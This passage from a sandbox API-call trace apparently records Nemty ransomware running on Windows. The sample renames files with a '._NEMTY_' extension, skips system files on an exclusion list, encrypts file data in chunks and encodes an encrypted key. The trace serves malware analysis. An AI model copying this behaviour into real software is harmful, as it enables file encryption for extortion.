lpOverlapped=0x0) returned 0 [0088.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.235] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.244] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.244] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340120, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0088.276] CloseHandle (hObject=0xffffffff) returned 0 [0088.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340290 [0088.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340368 [0088.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x6340450 [0088.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0088.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.276] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0088.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340450 | out: hHeap=0x4f90000) returned 1 [0088.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0088.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0088.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0088.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0088.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0088.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0088.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.277] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2=".") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="..") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="...") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="windows") returned -1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="$RECYCLE.BIN") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="rsa") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="NTDETECT.COM") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="ntldr") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="MSDOS.SYS") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="IO.SYS") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="boot.ini") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="boot.ini") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="AUTOEXEC.BAT") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="ntuser.dat") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="desktop.ini") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="CONFIG.SYS") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="RECYCLER") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="BOOTSECT.BAK") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="bootmgr") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="programdata") returned 1 [0088.277] lstrcmpiW (lpString1="specialoccasion.png", lpString2="appdata") returned 1 [0088.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialoccasion.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0088.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialoccasion.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="specialoccasion.png", lpUsedDefaultChar=0x0) returned 19 [0088.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0088.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialoccasion.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0088.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialoccasion.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="specialoccasion.png", lpUsedDefaultChar=0x0) returned 19 [0088.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0088.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialoccasion.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0088.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialoccasion.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="specialoccasion.png", lpUsedDefaultChar=0x0) returned 19 [0088.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialoccasion.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0088.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialoccasion.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="specialoccasion.png", lpUsedDefaultChar=0x0) returned 19 [0088.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0088.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0088.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0088.278] Sleep (dwMilliseconds=0x5) [0088.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8462b30, dwHighDateTime=0x1d561e7)) [0088.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8462b30, dwHighDateTime=0x1d561e7)) [0088.294] GetLastError () returned 0x5 [0088.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.294] GetLastError () returned 0x5 [0088.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0088.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0088.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0088.294] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0088.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0088.294] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="X2OIJKbu6Zt9Fig/Mqy72Gdafu6Gicf+Uyr22hMfAzLVcou6NbM/P+YXIwDt+iTX\r\nsJFaph5yeOSqsvismzlpjqkk5HAHmcQebcULNOxx/9pHM+/x6oBP4uqPfpSdqSfG\r\nIITEFiEpJAJnZObjpnkkh3vEG3Gbvbe302zB+0gKq1wCdyf0RCxCOHJaYwYQo6Qn\r\nxccqDye4bi8RjyXu1/OnLrT/oXf25rKHgGeESkHPieqJSnnxJM/2YhvtpyhTPyhw\r\nSqn3iUyqDKNxXTChYsHbWR8RkFY8CMgYFaEHNypX29LupVzgYjYQYBO4BH94kCgm\r\ntZo5ExaePgZj2iAquG26cA==\r\n", pcchString=0x653e91c) returned 1 [0088.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0088.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0088.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0088.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0088.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0088.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0088.294] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.295] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0088.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0088.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.341] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 